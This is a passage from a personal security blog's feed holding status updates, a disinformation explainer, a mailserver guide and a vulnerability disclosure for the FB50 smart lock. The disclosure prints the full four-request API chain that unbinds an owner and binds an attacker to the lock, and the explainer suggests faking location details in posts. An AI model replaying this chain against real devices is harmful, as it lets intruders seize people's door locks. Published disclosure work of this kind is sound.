576easy. There’s definitely some will power needed to pull this off.
577I guess time will tell.</p>
578]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
579uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
580since then. Let’s get right into it!</p>
581
582<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
583
584<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
585
586<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
587<span class="m">3817</span>
588
589<span class="c1"># or something in that ballpark</span>
590</code></pre></div>
591
592<p>I’ve been wanting to reduce my system’s package count.</p>
593
594<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
595sane package manager. I did come across Dylan Araps’
596<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
597for me (and still relatively new). I finally settled on
598<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
599
600<blockquote>
601 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
602 on musl libc and busybox.</p>
603</blockquote>
604
605<p>The installation was a breeze, and I was quite surprised to see WiFi working
606OOTB. In the past week of my using this distro, the only major hassle I faced
607was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
608yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
609soon. (hint: it involves chroots)</p>
610
611<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
612
613<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
614
615<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
616– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
617repository if you’re interested. I’m currently working on packaging Nim too, so
618keep an eye out for that in the coming week.</p>
619
620<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
621
622<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
623going to be speaking at PyCon India about our recent smart lock security
624research. The conference is happening in Chennai, much to our convenience.
625If you’re attending too, hit me up on Twitter and we can hang!</p>
626
627<h3 id="other">Other</h3>
628
629<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
630strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
631week, for sure.</p>
632
633<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
634I think I like it? I still find myself coming back to metalcore/deathcore.
635Here’s a list of artists I discovered (and liked) recently:</p>
636
637<ul>
638<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
639<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
640<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
641<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
642<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
643</ul>
644
645<p>That’s it for now, I’ll see you next week!</p>
646
647<div class="footnotes">
648<hr />
649<ol>
650<li id="fn-1">
651<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
652</li>
653</ol>
654</div>
655]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
656and to serve as a log of how I’m using my time. In theory, I will write this post
657every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
658a format for this, but it will probably include a quick summary of the work I did,
659things I read, IRL stuff, etc.</p>
660
661<p>With the meta stuff out of the way, here’s what went down last week!</p>
662
663<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
664
665<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
666the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
667It creates a small community of sites and enables sharing of traffic among these sites.
668The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
669of those sites are beautiful. Mine pales in comparison.</p>
670
671<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
672called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
673and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
674twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
675
676<p>Which brings me to the next thing I did this/last week.</p>
677
678<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
679
680<p>I’m not a fan of the official Python client, because you know, Python is bloat.
681As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
682authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
683It’s not entirely useable as of yet, but it’s definitely getting there, with the help
684of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
685
686<h3 id="other">Other</h3>
687
688<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
689Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
690It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
691delvering both interesting security content and news.</p>
692
693<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
694“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
695
696<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
697easy to pick up. Learning the Cyrillic script will require some relearning, especially
698with letters like в, н, р, с, etc. that look like English but sound entirely different.
699I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
700to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
701layout to my keyboard map too:</p>
702
703<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
704</code></pre>
705
706<p>With that ends my weekly update, and I’ll see you next week!</p>
707]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
708According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
709<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
710derived from the title of a KGB black propaganda department.</p>
711
712<blockquote>
713 <p>Disinformation is false information spread deliberately to deceive.</p>
714</blockquote>
715
716<p>To fully understand disinformation, especially in the modern age, we need to understand the
717key factors of any successful disinformation operation:</p>
718
719<ul>
720<li>creating disinformation (what)</li>
721<li>the motivation behind the op, or its end goal (why)</li>
722<li>the medium used to disperse the falsified information (how)</li>
723<li>the actor (who)</li>
724</ul>
725
726<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
727
728<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
729forms – “info op” & “disinfo”.</p>
730
731<h3 id="creating-disinformation">Creating disinformation</h3>
732
733<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
734of any disinformation sample is a huge indicator of the level of sophistication of the
735actor involved, i.e. is it a 12 year old troll or a nation state?</p>
736
737<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
738The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
739To achieve this, the target — be it an individual, a specific demographic or an entire
740nation — must be well researched. A deep understanding of the target’s culture, history,
741geography and psychology is required. It also needs circumstantial and situational awareness,
742of the target.</p>
743
744<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
745recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
746
747<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
748imagery:</p>
749
750<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
751<p lang="en" dir="ltr">Disinformation.
752<br><br>
753The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
754<br><br>Recontextualisation as threat vector.
755<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
756</p>— thaddeus e. grugq (@thegrugq)
757<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
758</blockquote>
759
760<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
761
762<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
763
764<p>I like to broadly categorize any info op as either proactive or reactive.
765Proactively, disinformation is spread with the desire to influence the target
766either before or during the occurence of an event. This is especially observed
767during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
768In offensive information operations, the target’s psychological state can be affected by
769spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
770
771<p>Reactive disinformation is when the actor, usually a nation state in this case,
772screws up and wants to cover their tracks. A fitting example of this is the case
773of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
774eastern Ukraine. This tragic incident has been attributed to Russian-backed
775separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
776Russian media is known to have desseminated a number of alternative & some even
777conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
778Investigation Team) investigations pointed towards the separatists.
779The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
780potentially correct information takes a credibility hit.</p>
781
782<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
783in totalitarian regimes; when the government decides what the media portrays to the
784masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
785
786<blockquote>
787 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
788 namely from the United States, and what they have called criminal Hong Kong thugs.
789 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
790 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
791 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
792 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
793 …</p>
794</blockquote>
795
796<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
797
798<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
799play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
800popularity.</p>
801
802<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
803generate activity programmatically via the API, Twitter bots are the go-to choice today for
804info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
805to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
806get realtime insights into what sticks and what doesn’t.
807The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
808factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
809to create discussions about alternative theories.</p>
810
811<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
812actively invest in creating group chats to spread political messages and memes. These parties
813have volunteers whose sole job is to sit and forward messages.
814Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
815this is disinformation without a motive, or the motive is hard to determine simply because
816the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
817This is a difficult problem to combat, especially given the nature of the target audience.</p>
818
819<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
820
821<p>I doubt this requires further elaboration, but in short:</p>
822
823<ul>
824<li>nation states and their intelligence agencies</li>
825<li>governments, political parties</li>
826<li>other non/quasi-governmental groups</li>
827<li>trolls</li>
828</ul>
829
830<p>This essentially sums up the what, why, how and who of disinformation. </p>
831
832<h3 id="personal-opsec">Personal OPSEC</h3>
833
834<p>This is a fun one. Now, it’s common knowledge that
835<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
836afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
837lead to your OPSEC being compromised.
838So if you really have to, you can feign activity using disinformation. For example,
839pick a place, and throw in subtle details pertaining to the weather, local events
840or regional politics of that place into your disinfo. Assuming this is Twitter, you can
841tweet stuff like:</p>
842
843<ul>
844<li>“Ugh, when will this hot streak end?!”</li>
845<li>“Traffic wonky because of the Mardi Gras parade.”</li>
846<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
847</ul>
848
849<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
850
851<p>And please, don’t do this:</p>
852
853<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
854
855<h3 id="conclusion">Conclusion</h3>
856
857<p>The ability to influence someone’s decisions/thought process in just one tweet is
858scary. There is no simple way to combat disinformation. Social media is hard to control.
859Just like anything else in cyber, this too is an endless battle between social media corps
860and motivated actors.</p>
861
862<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
863folks see the truth in a post-truth world.</p>
864
865<div class="footnotes">
866<hr />
867<ol>
868<li id="fn-1">
869<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
870</li>
871
872<li id="fn-2">
873<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
874</li>
875
876<li id="fn-3">
877<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
878</li>
879
880<li id="fn-4">
881<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
882</li>
883
884<li id="fn-5">
885<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
886</li>
887</ol>
888</div>
889]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
890around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
891I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
892
893<p>For this attempt, I wanted a simpler approach. I recall how terribly
894confusing Dovecot & Postfix were to configure and hence I decided to look
895for a containerized solution, that most importantly, runs on my cheap $5
896Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
897is actually available. So yeah, <em>pretty</em> tight.</p>
898
899<h3 id="whats-available">What’s available</h3>
900
901<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
902These are the ones I came across:</p>
903
904<ul>
905<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
906and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
907<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
908but ships with a web UI that I didn’t need. </p></li>
909<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
910they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
911<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
912a mention. It however, needs a fresh box to work with. A box with absolutely
913nothing else on it. I can’t afford to do that.</p></li>
914<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
915</ul>
916
917<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
918
919<p>The first thing that caught my eye in the README:</p>
920
921<blockquote>
922 <p>Recommended:</p>
923
924 <ul>
925 <li>1 CPU</li>
926 <li>1GB RAM</li>
927 </ul>
928
929 <p>Minimum:</p>
930
931 <ul>
932 <li>1 CPU</li>
933 <li>512MB RAM</li>
934 </ul>
935</blockquote>
936
937<p>Fantastic, I can somehow squeeze this into my existing VPS.
938Setup was fairly simple & the docs are pretty good. It employs a single
939<code>.env</code> file for configuration, which is great.
940However, I did run into a couple of hiccups here and there.</p>
941
942<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
943of memory.</p>
944
945<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
946</code></pre>
947
948<p>But it eventually worked after a couple of attempts.</p>
949
950<p>The next thing I struggled with — DNS. Specifically, the with the step where
951the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
952<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
953isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
954a <code>TXT</code> record. </p>
955
956<p>This is what it looks like.</p>
957
958<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
959 "p=<key>"
960 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
961</code></pre>
962
963<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
964and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
965Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
966
967<p>To simplify debugging DNS issues later, it’s probably a good idea to
968point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
969<code>A</code> record.
970You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
971uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
972And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
973your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
974I learnt this part the hard way, when my outgoing email kept getting
975rejected by Tutanota’s servers.</p>
976
977<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
978documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
979and look at an example. In short, install <code>certbot</code>, have port 80 free,
980and run </p>
981
982<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
983</code></pre></div>
984
985<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
986the container, something like so:</p>
987
988<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
989
990<span class="nt">volumes</span><span class="p">:</span>
991 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
992 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
993 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
994 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
995
996<span class="nn">...</span>
997</code></pre></div>
998
999<p>With this done, you shouldn’t have mail clients complaining about
1000wonky certs for which you’ll have to add an exception manually.</p>
1001
1002<h3 id="why-would-you">Why would you…?</h3>
1003
1004<p>There are a few good reasons for this:</p>
1005
1006<h4 id="privacy">Privacy</h4>
1007
1008<p>No really, this is <em>the</em> best choice for truly private
1009email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
1010dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
1011
1012<blockquote>
1013 <p>Truly secure systems do not require you to trust the service provider.</p>
1014</blockquote>
1015
1016<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
1017how can you really be sure that it isn’t a backdoored version of it?</p>
1018
1019<p>When you host your own mailserver, you truly own your email without having to rely on any
1020third-party.
1021This isn’t an attempt to spread FUD. In the end, it all depends on your
1022threat model™.</p>
1023
1024<h4 id="decentralization">Decentralization</h4>
1025
1026<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
1027active users. That’s obscene.
1028Email was designed to be decentralized but big corps swooped in and
1029made it a product. They now control your data, and it isn’t unknown that
1030Google reads your mail. This again loops back to my previous point, privacy.
1031Decentralization guarantees privacy. When you control your mail, you subsequently
1032control who reads it.</p>
1033
1034<h4 id="personalization">Personalization</h4>
1035
1036<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
1037
1038<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
1039
1040<p>Pfft, this is no competition.</p>
1041
1042<div class="footnotes">
1043<hr />
1044<ol>
1045<li id="fn-1">
1046<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1047</li>
1048
1049<li id="fn-2">
1050<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1051</li>
1052
1053<li id="fn-3">
1054<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1055</li>
1056</ol>
1057</div>
1058]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
1059
1060<h3 id="the-lock">The lock</h3>
1061
1062<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
1063Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
1064across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
1065
1066<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
1067the Play/App Store to function. The app requires the user to create an
1068account before further functionality is available.
1069It also facilitates configuring the fingerprint,
1070and unlocking from a range via Bluetooth.</p>
1071
1072<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
1073and the Android app.</p>
1074
1075<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
1076
1077<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1078which can be enabled under Developer Options under Settings. We made
1079around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1080
1081<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1082
1083<p>This is the value sent in the <code>Write</code> request:</p>
1084
1085<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1086
1087<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1088but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1089
1090<h3 id="via-the-android-app">Via the Android app</h3>
1091
1092<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1093far since most of it was obfuscated. Why bother when there exists an
1094easier approach – BurpSuite.</p>
1095
1096<p>We captured and played around with a bunch of requests and responses,
1097and finally arrived at a working exploit chain.</p>
1098
1099<h3 id="the-exploit">The exploit</h3>
1100
1101<p>The entire exploit is a 4 step process consisting of authenticated
1102HTTP requests:</p>
1103
1104<ol>
1105<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1106vicinity), get the barcode and lock ID</li>
1107<li>Using the barcode, fetch the user ID</li>
1108<li>Using the lock ID and user ID, unbind the user from the lock</li>
1109<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1110to the lock</li>
1111</ol>
1112
1113<p>This is what it looks like, in essence (personal info redacted).</p>
1114
1115<h4 id="request-1">Request 1</h4>
1116
1117<pre><code>POST /oklock/lock/queryDevice
1118{"mac":"XX:XX:XX:XX:XX:XX"}
1119</code></pre>
1120
1121<p>Response:</p>
1122
1123<pre><code>{
1124 "result":{
1125 "alarm":0,
1126 "barcode":"<BARCODE>",
1127 "chipType":"1",
1128 "createAt":"2019-05-14 09:32:23.0",
1129 "deviceId":"",
1130 "electricity":"95",
1131 "firmwareVersion":"2.3",
1132 "gsmVersion":"",
1133 "id":<LOCK ID>,
1134 "isLock":0,
1135 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1136 "lockPwd":"000000",
1137 "mac":"XX:XX:XX:XX:XX:XX",
1138 "name":"lock",
1139 "radioName":"BlueFPL",
1140 "type":0
1141 },
1142 "status":"2000"
1143}
1144</code></pre>
1145
1146<h4 id="request-2">Request 2</h4>
1147
1148<pre><code>POST /oklock/lock/getDeviceInfo
1149
1150{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1151</code></pre>
1152
1153<p>Response:</p>
1154
1155<pre><code> "result":{
1156 "account":"email@some.website",
1157 "alarm":0,
1158 "barcode":"<BARCODE>",
1159 "chipType":"1",
1160 "createAt":"2019-05-14 09:32:23.0",
1161 "deviceId":"",
1162 "electricity":"95",
1163 "firmwareVersion":"2.3",
1164 "gsmVersion":"",
1165 "id":<LOCK ID>,
1166 "isLock":0,
1167 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1168 "lockPwd":"000000",
1169 "mac":"XX:XX:XX:XX:XX:XX",
1170 "name":"lock",
1171 "radioName":"BlueFPL",
1172 "type":0,
1173 "userId":<USER ID>
1174 }
1175</code></pre>
1176
1177<h4 id="request-3">Request 3</h4>
1178
1179<pre><code>POST /oklock/lock/unbind
1180
1181{"lockId":"<LOCK ID>","userId":<USER ID>}
1182</code></pre>
1183
1184<h4 id="request-4">Request 4</h4>
1185
1186<pre><code>POST /oklock/lock/bind
1187
1188{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1189</code></pre>
1190
1191<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3>
1192
1193<p>You should have the lock transferred to your account. The severity of this
1194issue lies in the fact that the original owner completely loses access to
1195their lock. They can’t even “rebind” to get it back, since the current owner
1196(the attacker) needs to authorize that. </p>
1197
1198<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1199Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1200“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1201
1202<p><em>shudders</em></p>
1203
1204<h3 id="proof-of-concept">Proof of Concept</h3>
1205
1206<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1207
1208<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1209
1210<h3 id="disclosure-timeline">Disclosure timeline</h3>
1211
1212<ul>
1213<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1214<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1215<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1216<li>No response from vendor</li>
1217<li><strong>2nd August 2019</strong>: Public disclosure</li>
1218</ul>
1219
1220<h3 id="lessons-learnt">Lessons learnt</h3>
1221
1222<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1223with keys. With the IoT plague spreading, it brings in a large attack surface
1224to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1225
1226<p>The IoT security scene is rife with bugs from over 10 years ago, like
1227executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1228practices in general.</p>
1229
1230<p>Our existing threat models and scenarios have to be updated to factor
1231in these new exploitation possibilities. This also broadens the playing
1232field for cyber warfare and mass surveillance campaigns. </p>
1233
1234<h3 id="researcher-info">Researcher info</h3>
1235
1236<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1237
1238<ul>
1239<li>Anirudh Oppiliappan (me)</li>
1240<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1241<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1242</ul>
1243
1244<div class="footnotes">
1245<hr />
1246<ol>
1247<li id="fn-1">
1248<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1249</li>
1250
1251<li id="fn-2">
